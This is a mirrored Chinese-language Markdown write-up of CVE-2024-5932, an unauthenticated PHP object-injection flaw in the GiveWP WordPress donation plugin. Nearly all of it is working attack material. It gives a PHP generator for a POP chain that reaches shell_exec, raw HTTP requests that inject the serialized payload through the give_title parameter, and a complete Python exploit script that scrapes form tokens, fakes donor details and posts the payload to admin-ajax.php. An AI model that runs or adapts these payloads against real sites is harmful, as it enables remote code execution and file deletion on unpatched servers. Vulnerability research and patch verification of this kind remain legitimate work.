mirror of
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287 lines
9.2 KiB
Markdown
287 lines
9.2 KiB
Markdown
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# WordPress插件GiveWP存在反序列漏洞(CVE-2024-5932)
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WordPress中的GiveWP捐款插件和募捐平台插件存在PHP对象注入漏洞，该漏洞存在于所有版本，包括最高版本3.14.1在内。漏洞源于对来自“give_title”参数的不可信输入进行反序列化操作。这使得未经身份验证的攻击者能够注入PHP对象。此外，如果存在POP链，攻击者可以远程执行代码并删除任意文件。
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## poc
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### 生成pop链 poc.php
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```php
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<?php
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namespace Stripe{
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class StripeObject
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{
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protected $_values;
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public function __construct(){
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$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
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}
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}
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}
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namespace Give\PaymentGateways\DataTransferObjects{
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class GiveInsertPaymentData{
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public $userInfo;
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public function __construct()
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{
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$this->userInfo['address'] = new \Give();
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}
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}
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}
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namespace{
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class Give{
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protected $container;
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public function __construct()
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{
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$this->container = new \Give\Vendors\Faker\ValidGenerator();
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}
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}
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}
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namespace Give\Vendors\Faker{
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class ValidGenerator{
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protected $validator;
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protected $generator;
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public function __construct()
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{
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$this->validator = "shell_exec";
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$this->generator = new \Give\Onboarding\SettingsRepository();
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}
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}
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}
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namespace Give\Onboarding{
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class SettingsRepository{
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protected $settings;
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public function __construct()
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{
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$this -> settings['address1'] = 'touch /tmp/EQSTtest';
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}
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}
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}
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namespace{
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$a = new Stripe\StripeObject();
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echo serialize($a);
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}
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```
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### 漏洞复现
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**获取give_form_id**
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```php
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: 192.168.178.100:9000
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
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Accept: application/json, text/javascript, */*; q=0.01
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 23
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Connection: keep-alive
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sec-ch-ua-platform: "Windows"
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sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
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sec-ch-ua-mobile: ?0
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action=give_form_search
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```
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**获取 give-form-hash**
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```
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: 192.168.178.100:9000
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
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Accept: application/json, text/javascript, */*; q=0.01
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 47
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Connection: keep-alive
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sec-ch-ua-platform: "Windows"
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sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
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sec-ch-ua-mobile: ?0
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action=give_donation_form_nonce&give_form_id=11
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```
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**give_title 填入poc.php生成的序列化数据**
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```php
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: 192.168.178.100:9000
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
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Accept: application/json, text/javascript, */*; q=0.01
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 653
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Connection: keep-alive
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sec-ch-ua-platform: "Windows"
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sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
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sec-ch-ua-mobile: ?0
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action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&give_email=1@random.com&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized
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```
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### 利用脚本
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```python
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import requests
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from bs4 import BeautifulSoup
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from faker import Faker
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from urllib.parse import urlparse
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import random
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import hashlib
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import time
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import sys
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import re
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import rich_click as click
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requests.packages.urllib3.disable_warnings(
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requests.packages.urllib3.exceptions.InsecureRequestWarning
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)
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banner = r"""
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Analysis base : https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/
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=============================================================================================================
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CVE-2024-5932 : GiveWP unauthenticated PHP Object Injection
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description: The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.
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Arbitrary File Deletion
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=============================================================================================================
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"""
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class GiveWPExploit:
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def __init__(self, url: str, file: str):
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self.url = url
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self.file = file
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def greeting() -> None:
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print(banner)
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def spinner(duration=10, interval=0.1) -> None:
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spinner_chars = ['|', '/', '-', '\\']
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end_time = time.time() + duration
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while time.time() < end_time:
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for char in spinner_chars:
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sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
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sys.stdout.flush()
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time.sleep(interval)
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print("")
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def getBaseUrl(self, url):
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parsed_url = urlparse(url)
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base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
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return base_url
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def getParams(self) -> dict:
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response = requests.get(self.url)
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soup = BeautifulSoup(response.text, 'html.parser')
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give_form_id = soup.find('input', {'name': 'give-form-id'})['value']
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give_form_hash = soup.find('input', {'name': 'give-form-hash'})['value']
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button_tag = soup.find('button', {'data-price-id': True})
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give_price_id = button_tag['data-price-id']
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give_amount = button_tag.get_text(strip=True)
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# Fake Userinfo
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fake = Faker()
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params = {"give-form-id" : give_form_id,
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"give-form-hash" : give_form_hash,
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"give-price-id" : give_price_id,
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"give-amount" : give_amount,
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"give_first": fake.first_name(),
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"give_last": fake.last_name(),
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"give_email": fake.email(),}
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return params
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def getData(self) -> dict:
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file = self.file
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rand_md5 = hashlib.md5(str(random.randint(0, 10)).encode()).hexdigest()
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# Payload
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payload = 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}' % (len(file), file)
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data = self.getParams()
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data['give_title'] = payload
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data['give-gateway'] = 'offline'
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data['action'] = 'give_process_donation'
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print(f"[+] Requested Data: ")
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print(data)
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return data
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def isEmbed(self, url: str) -> str:
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pattern = r'<iframe[\s\S]*?\bname="give-embed-form"[\s\S]*?>'
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response = requests.get(url)
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match = re.search(pattern, response.text)
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if match:
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soup1 = BeautifulSoup(response.text, 'html.parser')
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embed_url = soup1.find('iframe')['src']
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return embed_url
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else:
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return url
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def sendRequest(self) -> None:
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# Fake User_Agent
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fake = Faker()
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baseUrl = self.getBaseUrl(self.url)
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reqUrl = f"{baseUrl}/wp-admin/admin-ajax.php"
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data = self.getData()
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headers = {
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'User-Agent': fake.user_agent(),
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'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
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'Accept-Encoding': 'gzip, deflate, br'
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}
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response = requests.post(reqUrl, data=data, headers=headers)
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def exploit(self) -> None:
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self.url = self.isEmbed(self.url)
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self.sendRequest()
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# argument parsing with rich_click
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@click.command()
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@click.option(
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"-u",
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"--url",
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required=True,
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help="Specify a URL or domain for vulnerability detection (Donation-Form Page)",
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)
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@click.option(
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"-c",
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"--cmd",
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default="/tmp/test",
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help="Specify the file to read from the server",
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)
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def main(url: str, cmd: str) -> None:
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cve_exploit = GiveWPExploit(url, cmd)
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GiveWPExploit.greeting()
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GiveWPExploit.spinner(duration=1)
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cve_exploit.exploit()
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if __name__ == "__main__":
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main()
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```
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## 漏洞来源
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- https://github.com/EQSTLab/CVE-2024-5932
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- https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/
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